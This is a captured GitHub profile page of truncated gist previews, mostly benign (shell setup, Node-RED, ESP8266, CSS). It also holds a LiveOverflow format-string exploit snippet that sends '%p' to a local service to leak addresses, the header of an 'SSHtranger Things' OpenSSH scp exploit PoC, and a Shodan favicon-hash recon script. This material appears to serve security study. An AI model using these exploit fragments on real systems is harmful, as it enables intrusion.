Skip to content

Instantly share code, notes, and snippets.

View ansarid's full-sized avatar

Daniyal Ansari ansarid

  • Texas A&M Engineering Experiment Station
  • College Station, Texas
View GitHub Profile
@rafaelpadovezi
rafaelpadovezi / git-bash-fish.md
Last active June 11, 2025 02:58
Using fish shell with git bash on windows

Using fish shell with git bash on windows

To install fish shell on windows the options are:

  • Cygwin
  • WSL
  • MSYS2

Since git bash is based on MSYS2 it seems a good fit to install fish. The problem is that git bash is a lightweight version of MSYS2 which does not include pacman as a package management, used to install fish.

This OS thread has great suggestions on how to solve this problem including using the full MSYS2. But the best solution for me was this answer by Michael Chen which installs pacman on git bash.

@dmalawey
dmalawey / noderedExtractTwoValuesFromObject
Created September 9, 2020 07:26
make a function in nodered to extract individual axes from the gamepad
[{"id":"4a052b50.075214","type":"tab","label":"PlotGP","disabled":false,"info":""},{"id":"350633a1.11bc9c","type":"ui_gauge","z":"4a052b50.075214","name":"","group":"341ef7b5.bb9218","order":1,"width":"5","height":"5","gtype":"gage","title":"Axis0 (theta dot)","label":"percent","format":"{{value}}","min":"-100","max":"100","colors":["#00b500","#e6e600","#ca3838"],"seg1":"","seg2":"","x":460,"y":280,"wires":[]},{"id":"1cbd9feb.395ee","type":"file in","z":"4a052b50.075214","name":"read uFile.txt","filename":"/tmp/uFile.txt","format":"utf8","chunk":false,"sendError":false,"encoding":"none","x":130,"y":120,"wires":[["7d96ee41.f7f52","9f412f87.46433"]]},{"id":"7d96ee41.f7f52","type":"csv","z":"4a052b50.075214","name":"parse values","sep":",","hdrin":"","hdrout":"none","multi":"one","ret":"\\n","temp":"GP_tdot, GP_xdot","skip":"0","strings":true,"include_empty_strings":"","include_null_values":"","x":190,"y":180,"wires":[["2c3f9ccf.818b84","d7dc5615.75ce08","99988631.c44068"]]},{"id":"2c3f9ccf.818b84","type":"debug
@yehgdotnet
yehgdotnet / get-shodan-favicon-hash.py
Last active January 23, 2025 06:02
Get Shodan FAVICON Hash
# https://twitter.com/brsn76945860/status/1171233054951501824
pip install mmh3
-----------------------------
# python 2
import mmh3
import requests
response = requests.get('https://cybersecurity.wtf/favicon.ico')
favicon = response.content.encode('base64')
@LiveOverflow
LiveOverflow / asd.py
Last active October 14, 2024 23:18
C Application Firewall
import struct
import socket
s = socket.socket()
s.connect(('127.0.0.1', 1337))
r = s.recv(1024)
s.send("%p,%p,%p\n")
while ',' not in r:
r = s.recv(1024)
start_buf = int(r.split(',')[1], 16)-9
@agreenolivetree
agreenolivetree / PY0101EN-2-2-Lists.ipynb
Created November 21, 2019 18:10
Created on Cognitive Class Labs
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@Matheus-Garbelini
Matheus-Garbelini / esp8266_wpa2_enterprise_example.ino
Last active July 1, 2024 17:33
ESP8266 Wi-Fi WPA2 Enterprise example
#include <ESP8266WiFi.h>
extern "C" {
#include "user_interface.h"
#include "wpa2_enterprise.h"
#include "c_types.h"
}
// SSID to connect to
char ssid[] = "TEST_KRA";
@JoeyBurzynski
JoeyBurzynski / 55-bytes-of-css.md
Last active July 17, 2025 10:31
58 bytes of css to look great nearly everywhere

58 bytes of CSS to look great nearly everywhere

When making this website, i wanted a simple, reasonable way to make it look good on most displays. Not counting any minimization techniques, the following 58 bytes worked well for me:

main {
  max-width: 38rem;
  padding: 2rem;
  margin: auto;
}
@jadonk
jadonk / README.md
Last active October 10, 2019 19:31
git clone https://gist.github.com/jadonk/8ece4ad83ac67e5215af6a3d686d0ae2
cd 8ece4ad83ac67e5215af6a3d686d0ae2
sudo ./thrash_motors.sh
sudo ./pwmcleaner.sh
@mehaase
mehaase / sshtranger_things.py
Last active August 26, 2024 10:28
SSHtranger Things Exploit POC
'''
Title: SSHtranger Things
Author: Mark E. Haase <[email protected]>
Homepage: https://www.hyperiongray.com
Date: 2019-01-17
CVE: CVE-2019-6111, CVE-2019-6110
Advisory: https://sintonen.fi/advisories/scp-client-multiple-vulnerabilities.txt
Tested on: Ubuntu 18.04.1 LTS, OpenSSH client 7.6p1
We have nicknamed this "SSHtranger Things" because the bug is so old it could be
@dafta
dafta / .sh
Last active October 11, 2020 14:47
ssh with .ssh/sshrc forwarding
# Forwarding your .ssh/sshrc file and sourcing it as .bashrc
# A function sudoi is defined on the remote machine, used
# instead of sudo -i, to run a shell as the specified user,
# or root as default, and source the local .ssh/sshrc.
function ssh() {
tmprc=$(/usr/bin/ssh "$@" "mktemp" 2>/dev/null)
rsync ~/.ssh/sshrc "$1:$tmprc" >/dev/null 2>&1
echo "function sudoi() { sudo -u \"\${1:-root}\" bash --rcfile \"$tmprc\"; }" | /usr/bin/ssh "$@" "cat - >> \"$tmprc\"" >/dev/null 2>&1
/usr/bin/ssh -t "$@" "chmod a+r \"$tmprc\"; bash --rcfile \"$tmprc\" ; rm \"$tmprc\""